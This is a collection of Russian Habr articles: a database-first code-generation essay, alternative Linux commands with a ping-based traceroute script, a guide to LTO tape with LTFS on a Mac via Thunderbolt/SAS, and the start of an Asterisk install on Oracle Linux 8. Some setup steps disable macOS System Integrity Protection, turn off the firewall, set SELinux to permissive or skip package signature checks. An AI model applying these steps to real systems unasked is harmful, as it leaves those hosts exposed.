Вероятно, нет. Если вы разрабатываете ваш проект с нуля, то всегда удобно просто отбросить старую базу данных и сгенерировать новую, как только добавите нужные аннотации. Так, сущность Book в конечном итоге примет вид:
```
@Entity
@Table(name = "book", indexes = {
@Index(name = "i_book_title", columnList = "title")
})
class Book {
@Id
@GeneratedValue(strategy = IDENTITY)
int id;
String title;
}
```
Круто. Сгенерировать заново. Опять же, в таком случае на старте будет очень легко.
#### Но впоследствии за это придется заплатить
Рано или поздно придется выходить в продакшен. Именно тогда такая модель перестанет работать. Потому что:
В продакшене уже нельзя будет при необходимости отбросить старую базу данных и начать все с чистого листа. Ваша база данных превратится в унаследованную.
Отныне и навсегда вам придется писать [миграционные скрипты DDL, например, при помощи Flyway](https://blog.jooq.org/2014/06/25/flyway-and-jooq-for-unbeatable-sql-development-productivity/). А что в таком случае произойдет с вашими сущностями? Вы сможете либо адаптировать их вручную (и так удвоите себе объем работы), либо прикажете Hibernate заново сгенерировать их для вас (насколько велики шансы, что сгенерированный таким образом будет соответствовать вашим ожиданиям?) Вы в любом случае проигрываете.
Таким образом, как только вы перейдете в продакшен, вам потребуются горячие патчи. А их нужно выводить в продакшен очень быстро. Поскольку же вы не подготовились и не организовали для продакшена гладкую конвейеризацию ваших миграций, вы все дико пропатчиваете. А затем уже не успеваете все сделать правильно. И ругаете Hibernate, поскольку всегда виноват кто угодно, только не вы…
Вместо этого, с самого начала все можно было делать совершенно иначе. Например, поставить на велосипед круглые колеса.
#### Сначала база данных
Настоящая «истина» в схеме вашей базы данных и «суверенитет» над ней кроется внутри базы данных. Схема определяется только в самой базе данных и нигде больше, и у каждого из клиентов есть копия этой схемы, поэтому совершенно целесообразно навязывать соблюдение схемы и ее целостности, делать это прямо в базе данных – там, где и хранится информация.
Это старая даже избитая мудрость. Первичные и уникальные ключи – это хорошо. Внешние ключи – хорошо. Проверка ограничений – хорошо. [Утверждения](https://community.oracle.com/ideas/13028) – хорошо.
Причем, это еще не все. Например, используя Oracle, вы, вероятно, захотите указать:
* В каком табличном пространстве находится ваша таблица
* Какое у нее значение PCTFREE
* Каков размер кэша в вашей последовательности (за идентификатором)
Возможно, все это и не важно в малых системах, но не обязательно дожидаться перехода в область «больших данных» — можно и гораздо раньше начать извлекать пользу от предоставляемых поставщиком оптимизаций хранения данных, таких, как упомянутые выше. Ни одна из ORM, какие мне доводилось видеть (в том числе, jOOQ) не обеспечивает доступа к полному набору опций DDL, которые вы, возможно, захотите использовать в вашей базе данных. ORM предлагают некоторые инструменты, которые помогают писать DDL.
Но, в конце концов, хорошо спроектированная схема вручную написана на DDL. Любой сгенерированный DDL является лишь ее аппроксимацией.
#### Что насчет клиентской модели?
Как упоминалось выше, на клиенте вам потребуется копия схемы вашей базы данных, клиентское представление. Излишне упоминать, что это клиентское представление должно быть синхронизировано с реальной моделью. Как лучше всего этого добиться? При помощи генератора кода.
Все базы данных предоставляют свою метаинформацию через SQL. Вот как получить из вашей базы данных все таблицы на разных диалектах SQL:
```
-- H2, HSQLDB, MySQL, PostgreSQL, SQL Server
SELECT table_schema, table_name
FROM information_schema.tables
-- DB2
SELECT tabschema, tabname
FROM syscat.tables
-- Oracle
SELECT owner, table_name
FROM all_tables
-- SQLite
SELECT name
FROM sqlite_master
-- Teradata
SELECT databasename, tablename
FROM dbc.tables
```
Эти запросы (или подобные им, в зависимости от того, приходится ли также учитывать представления, материализованные представления, функции с табличным значением) также выполняются при помощи вызова [`DatabaseMetaData.getTables()`](https://docs.oracle.com/javase/10/docs/api/java/sql/DatabaseMetaData.html#getTables(java.lang.String,java.lang.String,java.lang.String,java.lang.String%5B%5D)) из JDBC, либо при помощи мета-модуля jOOQ.
Из результатов таких запросов относительно легко сгенерировать любое клиентское представление модели вашей базы данных, независимо от того, какая технология используется у вас на клиенте.
* Если вы используете JDBC или Spring, то можете создать набор строковых констант
* Если используете JPA, то можете сгенерировать сами сущности
* Если используете jOOQ, то можете сгенерировать мета-модель jOOQ
В зависимости от того, какой объем возможностей предлагается вашим клиентским API (напр. jOOQ или JPA), сгенерированная мета-модель может быть по-настоящему насыщенной и полной. Возьмем, хотя бы, возможность неявных объединений, [появившуюся в jOOQ 3.11](https://blog.jooq.org/2018/02/20/type-safe-implicit-join-through-path-navigation-in-jooq-3-11/), которая опирается на сгенерированную метаинформацию о взаимоотношениях внешних ключей, действующих между вашими таблицами.
Теперь любое приращение базы данных будет автоматически приводить к обновлению клиентского кода. Представьте себе, например:
```
ALTER TABLE book RENAME COLUMN title TO book_title;
```
Вы в самом деле хотели бы делать эту работу дважды? Ни в коем случае. Просто фиксируем DDL, прогоняем его через ваш конвейер сборки и получаем обновленную сущность:
```
@Entity
@Table(name = "book", indexes = {
// Вы об этом задумывались?
@Index(name = "i_book_title", columnList = "book_title")
})
class Book {
@Id
@GeneratedValue(strategy = IDENTITY)
int id;
@Column("book_title")
String bookTitle;
}
```
Либо обновленный класс jOOQ. Большинство изменений DDL также отражаются на семантике, а не только на синтаксисе. Поэтому бывает удобно посмотреть в скомпилированном коде, какой код будет (или может быть) затронут приращением вашей базы данных.
#### Единственная истина
Независимо от того, какой технологией вы пользуетесь, всегда есть одна модель, которая является единственным источником истины для некоторой подсистемы – или, как минимум, мы должны к этому стремиться и избегать такой enterprise-путаницы, где «истина» сразу везде и нигде. Все может быть гораздо проще. Если вы всего лишь обмениваетесь XML-файлами с какой-нибудь другой системой, просто пользуйтесь XSD. Посмотрите на мета-модель INFORMATION\_SCHEMA из jOOQ в XML-форме:
<https://www.jooq.org/xsd/jooq-meta-3.10.0.xsd>
* XSD хорошо понятна
* XSD очень хорошо размечает контент XML и позволяет выполнять валидацию на всех клиентских языках
* XSD хорошо версионируется и обладает развитой обратной совместимостью
* XSD можно транслировать в код Java при помощи XJC
Последний пункт важен. При коммуникации с внешней системой при помощи XML-сообщений мы хотим быть уверены в валидности наших сообщений. Этого очень легко добиться при помощи JAXB, XJC и XSD. Было бы полным безумием рассчитывать, что, при подходе к проектированию «сначала Java», где мы делаем наши сообщения в виде объектов Java, их можно было бы как-то внятно отобразить на XML и отправить для потребления в другую систему. XML, сгенерированный таким образом, был бы очень плохого качества, не документирован, и его сложно было бы развивать. Если бы по такому интерфейсу существовало соглашение об уровне качества обслуживания (SLA), мы бы сразу его запороли.
Честно говоря, именно это постоянно и происходит с API на JSON, но это уже другая история, в следующий раз поругаюсь…
#### Базы данных: это одно и то же
Работая с базами данных, вы понимаете, что все они, в принципе, похожи. База владеет своими данными и должна руководить схемой. Любые модификации, вносимые в схему, должны реализовываться непосредственно на DDL, чтобы обновлялся единый источник истины.
Когда обновление источника произошло, все клиенты также должны обновить свои копии модели. Некоторые клиенты могут быть написаны на Java с использованием jOOQ и Hibernate или JDBC (или всех сразу). Другие клиенты могут быть написаны Perl (остается пожелать им удачи), третьи – на C#. Это не важно. Главная модель находится в базе данных. Модели, сгенерированные при помощи ORM, обычно плохого качества, плохо документированы, и их сложно развивать.
Поэтому не совершайте ошибок. С самого начала не совершайте ошибок. Работайте, исходя из базы данных. Постройте такой конвейер развертывания, который можно автоматизировать. Включите генераторы кода, чтобы удобно было копировать модель вашей базы данных и сбрасывать ее на клиенты. И прекратите беспокоиться о генераторах кода. Они хорошие. С ними вы станете продуктивнее. Нужно только с самого начала потратить немного времени на их настройку – и далее вас ждут годы повышенной производительности, из которых сложится история вашего проекта.
Пока не благодарите, потом.
#### Пояснение
Для ясности: Эта статья ни в коем случае не пропагандирует, что под модель вашей базы данных нужно прогибать всю систему (т.е., предметную область, бизнес-логику, т.д., т.п). В этой статье я говорю о том, что клиентский код, взаимодействующий с базой данных, должен действовать, отталкиваясь от модели базы данных, так, чтобы в нем самом не воспроизводилась модель базы данных в статусе «первого класса». Такая логика обычно располагается на уровне доступа к данным у вас на клиенте.
В двухуровневых архитектурах, которые до сих пор кое-где сохранились, такая модель системы может быть единственно возможной. Однако в большинстве систем уровень доступа данных кажется мне «подсистемой», инкапсулирующей модель базы данных.
#### Исключения
Из любого правила есть исключения, и я уже говорил, что подход с первичностью базы данных и генерацией исходного кода иногда может оказаться неподходящим. Вот пара таких исключений (вероятно, найдутся и другие):
* Когда схема неизвестна, и ее необходимо открыть. Например, вы поставщик инструмента, помогающего пользователям сориентироваться в любой схеме. Уф. Тут без генерации кода. Но все равно – база данных прежде всего.
* Когда схема должна генерироваться на лету для решения некоторой задачи. Этот пример кажется слегка вычурной версией паттерна [entity attribute value](https://en.wikipedia.org/wiki/Entity%E2%80%93attribute%E2%80%93value_model), т.е., у вас в самом деле нет четко определенной схемы. В данном случае зачастую даже вообще нельзя быть уверенным, что вам подойдет РСУБД.
Исключения по природе своей исключительны. В большинстве случаев, связанных с использованием РСУБД, схема известна заранее, она находится внутри РСУБД и является единственным источником «истины», а всем клиентам приходится обзаводиться копиями, производными от нее. В идеале при этом нужно задействовать генератор кода. | https://habr.com/ru/post/498816/ | null | ru | null |
# *nix-way: Даже если тебя съели, у тебя есть как минимум два выхода
В процессе работы с операционными системами GNU/Linux обычно привыкаешь делать какие-то операции одними и теми же средствами. Философия UNIX (\*nix-way) предполагает наличие большого количества простых программ для выполнения простых действий, а результаты работы можно передавать между разными программами через потоки. Но вот представьте, что возникает ситуация, когда кто-то нечаянно, по глупости или из нехороших побуждений удалил исполнимый файл, который являлся бинарным файлом какой-то команды, которой вы более или менее часто пользовались. И что тогда делать?
И вот здесь начинается самое интересное. Практика показывает, что многие вещи можно делать более чем одним способом. Я попытался составить небольшой список взаимозаменяемых действий, которые в Linux могут быть выполнены более чем одним способом.
1) Нумерация строк
```
nl
```
=
```
cat -n
```
2) Просмотр таблицы маршрутов
```
route -e
```
=
```
netstat -r
```
=
```
ip route
```
3) Просмотр списка сетевых интерфейсов
```
ifconfig -s
```
=
```
netstat -i
```
=
```
ip addr
```
4) Создание пользователя:
```
adduser
```
=
```
useradd ; mkdir /home/; chown : /home/; passwd
```
5) Блокировка пароля пользователя
```
passwd -l
```
=
```
usermod -L
```
6) Разблокировка пароля пользователя
```
passwd -u
```
=
```
usermod -U
```
7) Добавление пользователя в группу
```
adduser
```
=
```
usermod -aG
```
8) Смена группы владения файла
```
chown :
```
=
```
chgrp
```
9) Просмотр содержимого директории
```
ls
```
=
```
dir
```
=
```
vdir
```
10) Создание жесткой ссылки
```
ln
```
=
```
cp -l
```
11) Создание символической ссылки
```
ln -s
```
=
```
cp -s
```
12) Замена traceroute командой ping. Не совсем честный способ, потому что разные типы пакетов ICMP, но в общем случае подходит, если все хосты трассы пингуемы.
```
traceroute remote-host
```
=
pingtrace.sh (Если в качестве аргумента указать айпишник, то трасса получается ОЧЕНЬ быстро)
```
#!/bin/bash
REMOTE_HOST=$1
REMOTE_HOST_2=`host $1 | grep 'has address' | awk '{printf $4}'`
TARGET_HOST="_"
TARGET_TTL=1
echo Tracing host $REMOTE_HOST\($REMOTE_HOST_2\)
while [ "$REMOTE_HOST" != "$TARGET_HOST" -a "$REMOTE_HOST_2" != "$TARGET_HOST" ]
do
TARGET_HOST=`ping -c 1 -t $TARGET_TTL $REMOTE_HOST | grep 'exceeded' | awk '{printf $2}'`
if [ "$TARGET_HOST" != "" ]
then
echo $TARGET_HOST, TTL=$TARGET_TTL
TARGET_TTL=$(($TARGET_TTL+1))
else
echo $REMOTE_HOST, TTL=$TARGET_TTL
exit
fi
done
```
В комментариях, надеюсь, будет еще много подобных примеров | https://habr.com/ru/post/145073/ | null | ru | null |
# Apple Mac и причудливые устройства. LTO, SAS, Fibre Channel, eSATA
Темой настоящей статьи является подключение к Маку внешних устройств по интерфейсам SAS, Fibre Channel (FC), eSATA. Сразу оговоримся, что для решения задачи доступа к таким устройствам существует путь здорового человека: собрать дешёвый PC, воткнуть туда карту контроллера HBA SAS или FC (например, простейший адаптер LSI), подключить к этому контроллеру свои устройства, установить на PC любой линукс и работать с Мака через сеть. Но это банально и неинтересно. Мы пойдём путём хардкора и будем подключать свои устройства *непосредственно* к Маку.
Что нам для этого понадобится:
– приличное количество денежных средств для покупки новой аппаратуры, либо удача в аукционах на eBay (где, приложив чуть-чуть усилий, можно купить требуемую аппаратуру предыдущих поколений раз в 10 дешевле, чем по прайс-листу);
– эта статья.
Чтобы работать с магнитной лентой (в настоящее время почти повсеместно представленной форматом LTO), необходимо иметь ленточный накопитель (стример) или ленточную библиотеку стандарта LTO. Это довольно дорогое устройство при первичной покупке (от сотен тысяч рублей), но стоящее вменяемых денег при покупке б/у. Поскольку поколения LTO меняются примерно каждые два года, а совместимость ограничена двумя поколениями, то вторичный рынок в достаточной степени насыщен работоспособными устройствами четырёхлетней и более давности, т.е. позапрошлого и далее поколения. Если вы покупаете новое устройство для коммерческих целей, то сами понимаете зачем оно вам нужно. Если хотите купить для дома и семьи, то можете рассмотреть этот вариант, как способ архивирования информации (поскольку сами носители очень дёшевы в расчёте на 1 гигабайт).
Начиная с поколения LTO-5 (и отчасти LTO-4), устройства для работы с магнитной лентой аппаратно подключаются к компьютеру по интерфейсу SAS либо FC (обычно существует два варианта исполнения каждого устройства)
С другой стороны, фирма Apple любезно предоставляет нам в нашем Маке интерфейс USB-C (работающий по протоколам USB, Thunderbolt 3 либо DisplayPort), иногда интерфейс Ethernet, а также фирменные адаптеры Thunderbolt 3 – Thunderbolt 2 и Thunderbolt – FireWire 800.
Безвыходное положение? Не совсем. К счастью, шина Thunderbolt может работать в режиме PCIe и обеспечивать возможность подключения карт PCIe таким же образом, как если бы они были установлены непосредственно внутрь корпуса компьютера. За счёт этого возможны любые расширения аппаратной конфигурации Мака, был бы соответствующий адаптер и драйверы.
Концептуально простейшим способом решения задачи является внешний бокс для адаптеров PCIe с интерфейсом Thunderbolt (PCIe card expansion system), в который можно установить контроллер (Host bus adapter, HBA) SAS либо FC. Например, такие боксы выпускает фирма [Sonnet](https://sonnettech.com) и некоторые другие. Тут есть нюанс: нам подойдёт далеко не каждый контроллер, а только имеющий драйвер под macOS. Таких плат вообще немного, и самые дешёвые и популярные (например, те же LSI) в их число не входят. К счастью, фирма Sonnet дала себе труд составить [таблицу совместимости](https://www.sonnettech.com/support/downloads/manuals/TB_PCIe_Card_Compatibility.pdf) карт PCIe с различными ОС через интерфейс Thunderbolt.
Другой способ решения – приобретение готового конвертера интерфейса Thunderbolt – SAS либо Thunderbolt – FC, который, по сути, представляет собой уже готовую сборку из бокса и контроллера. Наиболее известна на данном направлении фирма [ATTO](https://atto.com), но встречаются и изделия других фирм.
Заметим, что не все контроллеры SAS и FC аттестованы на соответствие стандарту LTO, так как это само по себе стоит денег. Некоторые производители прямо пишут, что работа их контроллеров с ленточными накопителями не предусмотрена.
Для полноты картины отметим, что фирма mLogic выпускает [устройство](https://www.mlogic.com/products/mtape-thunderbolt-lto-8), представляющее собой накопитель IBM LTO-8 во внешнем корпусе, в который сразу же интегрирован конвертер SAS в Thunderbolt 3. Это, однако, вещь ещё более экзотичная, чем всё вышеописанное, особенно по меркам наших краёв. Сомневаюсь, что это устройство можно даже легально ввезти в Россию (накопители LTO содержат криптографические средства, и производители, такие как IBM и HP, по этой причине получают на каждую модель разрешение ФСБ на импорт).
Далее мы рассмотрим для примера конкретный комплект оборудования, владельцем которого автор стал в результате нескольких удачных приобретений, но общий принцип должен сохраняться для всех вариантов.
Итак у нас имеется для работы с лентой следующее оборудование:
– компьютер Apple Mac mini 2018 с macOS 10.15 Catalina, имеющий порты USB-C с поддержкой Thunderbolt 3;
– адаптер Apple Thunderbolt 3 / Thunderbolt 2;
– кабель Apple Thunderbolt 2;
– конвертер интерфейса ATTO ThunderLink SH 1068 (2\*Thunderbolt / 2\*SAS-2);
– кабель SAS SFF-8088 – SFF-8088;
– ленточный накопитель LTO-5 IBM TS2350;
– картриджи LTO-5, чистящий картридж.
Теперь, как говорится, со всей этой фигнёй мы попытаемся взлететь.
Скачиваем с сайта ATTO последнюю версию драйвера ThunderLink SH 1068 (видимо, для нашего удобства он объединён с драйвером SH 2068 и находится в разделе 2068, о чём написано только внутри самого архива с драйвером) и конфигурационной утилиты ATTO.
Драйвер, естественно, нуждается в инсталляции. Перед подобными действиями автор советует всегда делать снапшот файловой системы APFS загрузочного диска командой
```
tmutil localsnapshot
```
либо резевную копию загрузочного диска, если там HFS+. Мало ли что. Потом из снапшота будет легко откатиться.
Далее неискушённый, но проявляющий должную осмотрительность, ум, несомненно, склонится к тому, чтобы внимательно прочитать инструкцию ATTO по инсталляции драйвера и выполнить её. В результате – тадам! – получаем операционную систему, виснущую на этапе загрузки. Тут нам может пригодиться снапшот, из которого можно восстановиться, вызвав Time machine с раздела восстановления, или же с того же раздела восстановления можно вручную стереть болезный kext из каталога расширений ядра (автор в общем случае не рекомендует так делать).
Почему так происходит? Потому что о нас позаботилась фирма Apple. В последних версиях macOS нельзя так просто взять и внедрить посторонний код в процесс загрузки. Добрые программисты Apple заблокировали подобное деструктивное поведение. Точнее, заблокировали наполовину, когда ожидание драйвера внедряется, а сам драйвер нет, поэтому всё просто зависает.
Что должен делать искушённый ум перед инсталляцией драйвера? Во-первых, дать команду:
```
csrutil status
```
Если в ответ на неё мы получаем:
> System Integrity Protection status: enabled.
то это означает, что добрые программисты Apple заботятся о нас, поэтому ничего у нас не выйдет, пока мы не отключим их замечательную защиту. Для этого перезагружаемся в раздел восстановления (⌘R), вызываем терминал и даём команду:
```
csrutil disable
```
После этого перезагружаемся в рабочую систему, и уже тогда инсталлируем драйвер, а заодно и конфигурационную утилиту ATTO (в принципе, конфигурационная утилита нужна только для диагностики и не требуется при нормальной работе). По ходу дела, когда попросят, подтверждаем в системных настройках авторизацию фирмы ATTO. После инсталляции можно опять перезагрузиться в раздел восстановления и дать команду
```
csrutil enable
```
В Apple снова о нас заботятся.
Теперь у нас есть поддержанный драйвером интерфейс к внешним устройствам SAS (либо FС, если бы использовался конвертер FC). Но как работать с лентой на логическом уровне?
Как известно неискушённому, но эрудированному, уму, любая Unix-совместимая система поддерживает ленточные накопители на уровне ядра и основных системных утилит, к которым, прежде всего, относятся mt (управление лентопротяжкой) и tar (архиватор, имеющий поддержку работы с архивами на ленте). Однако, что уточнит на это искушённый ум? Любая Unix-совместимая система, *кроме macOS*. Фирма Apple побеспокоилась о нас, изъяв поддержку ленточных устройств из своего кода.
Но неужели нельзя вернуть этот код, портировав стандартные опенсоурсные утилиты Unix в macOS? Хорошая новость состоит в том, что это уже сделала фирма Tolis (ссылку на которую я не привожу) в своём продукте Tolis Tape Tools. Плохая новость состоит в том, что пользование результатами своей работы упомянутая фирма оценивает в 399 долларов США. Оценки этого факта могут быть разными, но лично автор не готов к тому, чтобы платить кому-то 400 баксов за код, по большей части написанный совсем другими людьми и находящийся в открытом пользовании с 1970-х годов, а поэтому данный вопрос автор для себя считает закрытым. (Между прочим, на гитхабе есть заброшенный в смутном состоянии свободный проект [IOSCSITape](https://github.com/jessepeterson/IOSCSITape) на эту же тему).
К счастью, в мире существует корпорация IBM, коммерческие аппетиты которой имеют совершенно другие масштабы, и потому не проявляются во всякой мелочёвке.
Того же самого, что делают Tolis Tape Tools, и даже больше, можно добиться вызовами бесплатной IBMовской утилиты ITDT с различными параметрами командной строки. Например, работать с архивами tar на ленте можно командами вроде такой:
```
itdt -f tape0 read -d >(tar xvf -)
```
и тому подобными. К сожалению, автору неизвестно, работает ли ITDT с накопителями других фирм.
Однако, в качестве рабочего предлагается выбрать несколько иной механизм. Корпорацией IBM разработана ленточная файловая система LTFS с открытым исходным кодом, распространяемая в том числе и для macOS.
Тут существует нюанс, заключающийся в том, что разные производители ленточных устройств выпускают свои собственные версии LTFS, поддерживающие свои устройства. Так как автор использует ленточный накопитель IBM, то и LTFS установил от IBM. Для накопителей других фирм, возможно, потребуются их собственные порты LTFS. И существует универсальная реализация openLTFS на гитхабе и хоумбрю.
Для нас важно, что LTFS использует функцию партиционирования носителя, и поэтому может работать с устройствами и картриджами, *начиная с поколения LTO-5.*
Итак, в нашем случае скачиваем с сайта IBM продукт IBM Spectrum Archive Single Drive Edition для macOS, который как раз и включает реализацию LTFS. Без всяких приключений устанавливаем продукт его собственным инсталлятором. По ходу дела он устанавливает также пакет FUSE, при этом в системных настройках придётся подтвердить авторизацию умного программиста по имени Anatol Pomozov, от которой в данном случае зависит целая IBM. Респект и уважуха этому человеку.
Целесообразно сразу в файле /Library/Frameworks/LTFS.framework/Versions/Current/etc/ltfs.conf.local прописать строчку:
> option single-drive sync\_type=time@1
>
>
задающую монтирование ленты по умолчанию со сбросом буфера записи через 1 минуту неактивности (по умолчанию 5 минут).
Наконец, всё готово для подключения. Подключаем цепочку: Mac – адаптер T3/T2 – кабель Thunderbolt – конвертер ATTO – кабель SAS – ленточный накопитель (выбор из нескольких портов на Маке, конвертере и накопителе неважен). Включаем питание конвертера. Включаем питание ленточного накопителя. Дожидаемся окончания инициализации накопителя по его индикации.
Даём команду:
```
ltfs -o device_list
```
Ура! Получаем (в обычной для IBM диагностической манере):
> 307 LTFS14000I LTFS starting, LTFS version 2.4.2.0 (10418), log level 2.
>
> 307 LTFS14058I LTFS Format Specification version 2.4.0.
>
> 307 LTFS14104I Launched by «ltfs -o device\_list».
>
> 307 LTFS14105I This binary is built for Mac OS X.
>
> 307 LTFS14106I GCC version is 4.2.1 Compatible Apple Clang 4.1 ((tags/Apple/clang-421.11.66)).
>
> 307 LTFS17087I Kernel version: Darwin Kernel Version 19.4.0: Wed Mar 4 22:28:40 PST 2020; root:xnu-6153.101.6~15/RELEASE\_X86\_64.
>
> 307 LTFS17085I Plugin: Loading «iokit» tape backend.
>
> Tape Device list:.
>
> Device Name = 0, Vendor ID = IBM, Product ID = ULT3580-TD5, Serial Number = \*\*\*\*\*\*\*\*\*\*, Product Name =[ULT3580-TD5].
>
>
Вставляем кассету, дожидаемся загрузки и форматируем:
```
mkltfs -d 0 -nTest -r "size=10M/name=.DS_Store"
```
Здесь параметр -d задаёт номер накопителя (всегда ноль, если он единственный, но опускать в этой команде нельзя), -n – имя ленты (можно его не указывать), а параметр -r требует размещать содержимое файлов .DS\_Store, не превышающих по размеру 10 мегабайт, в индексном (т.е. предназначенном для каталогов) разделе ленты вместо раздела данных.
Пошла таинственная жизнь в ленточном накопителе. Ждём пару минут, получаем в ответ:
> LTFS15000I Starting mkltfs, LTFS version 2.4.2.0 (10418), log level 2.
>
> LTFS15041I Launched by «mkltfs -d 0 -nTest -r size=10M/name=.DS\_Store».
>
> LTFS15042I This binary is built for Mac OS X.
>
> LTFS15043I GCC version is 4.2.1 Compatible Apple Clang 4.1 ((tags/Apple/clang-421.11.66)).
>
> LTFS17087I Kernel version: Darwin Kernel Version 19.4.0: Wed Mar 4 22:28:40 PST 2020; root:xnu-6153.101.6~15/RELEASE\_X86\_64.
>
> LTFS15003I Formatting device '0'.
>
> LTFS15004I LTFS volume blocksize: 524288.
>
> LTFS15005I Index partition placement policy: size=10M/name=.DS\_Store.
>
> LTFS11337I Update index-dirty flag (1) — NO\_BARCODE (0x0x1021081e0).
>
> LTFS17085I Plugin: Loading «iokit» tape backend.
>
> LTFS30810I Opening a device through iokit driver (0).
>
> LTFS30814I Vendor ID is IBM.
>
> LTFS30815I Product ID is 'ULT3580-TD5 '.
>
> LTFS30816I Firmware revision is H976.
>
> LTFS30817I Drive serial is \*\*\*\*\*\*\*\*\*\*.
>
> LTFS17160I Maximum device block size is 1048576.
>
> LTFS11330I Loading cartridge.
>
> LTFS30854I Logical block protection is disabled.
>
> LTFS11332I Load successful.
>
> LTFS17157I Changing the drive setting to write-anywhere mode.
>
> LTFS15049I Checking the medium (mount).
>
> LTFS30854I Logical block protection is disabled.
>
> LTFS15010I Creating data partition b on SCSI partition 1.
>
> LTFS15011I Creating index partition a on SCSI partition 0.
>
> LTFS17165I Resetting the medium's capacity proportion.
>
> LTFS11097I Partitioning the medium.
>
> LTFS11100I Writing label to partition b.
>
> LTFS11278I Writing index to partition b.
>
> LTFS30808I READ\_ATTR (0x8c) returns -20501.
>
> LTFS30865I READ\_ATTR returns Invalid Field in CDB (-20501) 0.
>
> LTFS30836I Cannot read attribute (-20501).
>
> LTFS11336I The attribute does not exist. Ignore the expected error.
>
> LTFS17235I Writing index of NO\_BARCODE to b (Reason: Format, 0 files) \*\*\*\*\*\*\*\*\*\*.
>
> LTFS17236I Wrote index of NO\_BARCODE (b, \*\*\*\*\*\*\*\*\*\*).
>
> LTFS11337I Update index-dirty flag (0) — NO\_BARCODE (0x0x1021081e0).
>
> LTFS11100I Writing label to partition a.
>
> LTFS11278I Writing index to partition a.
>
> LTFS30808I READ\_ATTR (0x8c) returns -20501.
>
> LTFS30865I READ\_ATTR returns Invalid Field in CDB (-20501) 0.
>
> LTFS30836I Cannot read attribute (-20501).
>
> LTFS11336I The attribute does not exist. Ignore the expected error.
>
> LTFS17235I Writing index of NO\_BARCODE to a (Reason: Format, 0 files) 9068025555.
>
> LTFS17236I Wrote index of NO\_BARCODE (a, \*\*\*\*\*\*\*\*\*\*).
>
> LTFS15013I Volume UUID is: 3802a70d-bd9f-47a6-a999-eb74ffa67fc1.
>
> LTFS15019I Volume capacity is 1425 GB.
>
> LTFS30854I Logical block protection is disabled.
>
> LTFS15024I Medium formatted successfully.
>
>
Монтируем отформатированную ленту:
```
sudo mkdir /Volumes/LTFS
sudo ltfs /Volumes/LTFS
```
Получаем ещё пару минут работы накопителя, диагностику:
> 307 LTFS14000I LTFS starting, LTFS version 2.4.2.0 (10418), log level 2.
>
> 307 LTFS14058I LTFS Format Specification version 2.4.0.
>
> 307 LTFS14104I Launched by «ltfs /Volumes/LTFS/».
>
> 307 LTFS14105I This binary is built for Mac OS X.
>
> 307 LTFS14106I GCC version is 4.2.1 Compatible Apple Clang 4.1 ((tags/Apple/clang-421.11.66)).
>
> 307 LTFS17087I Kernel version: Darwin Kernel Version 19.4.0: Wed Mar 4 22:28:40 PST 2020; root:xnu-6153.101.6~15/RELEASE\_X86\_64.
>
> 307 LTFS14063I Sync type is «time», Sync time is 60 sec.
>
> 307 LTFS17085I Plugin: Loading «iokit» tape backend.
>
> 307 LTFS17085I Plugin: Loading «unified» iosched backend.
>
> 307 LTFS14095I Set the tape device write-anywhere mode to avoid cartridge ejection.
>
> 307 LTFS30810I Opening a device through iokit driver (0).
>
> 307 LTFS30814I Vendor ID is IBM.
>
> 307 LTFS30815I Product ID is 'ULT3580-TD5 '.
>
> 307 LTFS30816I Firmware revision is H976.
>
> 307 LTFS30817I Drive serial is \*\*\*\*\*\*\*\*\*\*.
>
> 307 LTFS17160I Maximum device block size is 1048576.
>
> 307 LTFS11330I Loading cartridge.
>
> 307 LTFS30854I Logical block protection is disabled.
>
> 307 LTFS11332I Load successful.
>
> 307 LTFS17157I Changing the drive setting to write-anywhere mode.
>
> 307 LTFS11005I Mounting the volume.
>
> 307 LTFS30854I Logical block protection is disabled.
>
> 307 LTFS17227I Tape attribute: Vendor = IBM.
>
> 307 LTFS17227I Tape attribute: Application Name = LTFS.
>
> 307 LTFS17227I Tape attribute: Application Version = 2.4.2.0.
>
> 307 LTFS17227I Tape attribute: Medium Label =.
>
> 307 LTFS17228I Tape attribute: Text Localization ID = 0x81.
>
> 307 LTFS17227I Tape attribute: Barcode =.
>
> 307 LTFS17227I Tape attribute: Application Format Version = 2.4.0.
>
> 307 LTFS17228I Tape attribute: Volume Lock Status = 0x00.
>
> 307 LTFS17227I Tape attribute: Media Pool name =.
>
> 307 LTFS14111I Initial setup completed successfully.
>
> 307 LTFS14112I Invoke 'mount' command to check the result of final setup.
>
> 307 LTFS14113I Specified mount point is listed if succeeded.
>
>
И вот она, наша лента на рабочем столе, с именем Test(ltfs)! Безымянная же лента получит имя OSXFUSE Volume 0 (ltfs).
Теперь можно с ней работать.
Вообще-то надо иметь в виду, что желательно не злоупотреблять просмотром содержимого каталогов ленты в окнах файндера, так как это невероятно затратная для LTFS операция, а лучше работать всё-таки командами терминала, либо просто сбрасывать резервно копируемый каталог оптом на ленту, как показано в окне выше.
Существует, кстати, специально написанная IBM утилита ltfs\_copy и её клоны, предназначенная для более эффективного копирования между лентой и диском, но пока автору не удалось их найти в открытом доступе при поверхностном поиске.
Размонтировать ленту можно командой:
```
umount /Volumes/LTFS
```
или просто выкинуть в корзину.
Вообще-то в природе существуют какие-то графические оболочки для macOS для облегчения этих действий, но нам ли, после таких извращений, бояться набрать несколько строчек в терминале?
Как побочное следствие, получаем возможность через кабель SAS/4\*eSATA подключать внешние диски eSATA.
 | https://habr.com/ru/post/503178/ | null | ru | null |
# Автоматизируем сборку Asterisk на Oracle 8
В какой-то момент у нас в компании назрела необходимость упростить развертывание ПО Asterisk
Основная проблема возникала при сборке Asterisk из исходников, так как необходимо выбирать нужные/ненужные модули, а простое копирование файла menuselect.makeopts при переходе от версии к версии не всегда срабатывало
До кучи решили переехать с CentOS 6/7 на Oracle 8 (это, как оказалось, еще тот квест 8), так как версия свежая и инструкции, которые в этих ваших интернетах кочуют с сайта на сайт не всегда соответствуют действительности. В частности почти весь день мы угрохали на установку libedit-devel — его небыло в репозиториях, репозиторий PowerTools, на который ссылаются инструкции в интернетах, в Oracle 8 отсуствует. Оказалось, что в Oracle необходимо активировать репозиторий ol8\_codeready\_builder :)
Итак, поехали.
1. Устанавливаем Oracle 8, настраиваем сеть
2. Выполняем действия необходимые, чтобы установка Asterisk прошла без танцев с бубном:
```
firewall systemctl stop firewalld ; systemctl disable firewalld
sudo setenforce 0
sudo sed -i 's/\(^SELINUX=\).*/\SELINUX=permissive/' /etc/selinux/config
dnf in --nogpgcheck https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
yum -y groupinstall "Development Tools"
dnf config-manager --set-enabled ol8_codeready_builder
dnf install mc wget curl bind-utils net-tools mlocate man mutt tcpdump sysstat rsync unzip rsyslog net-snmp mailx lsof chrony
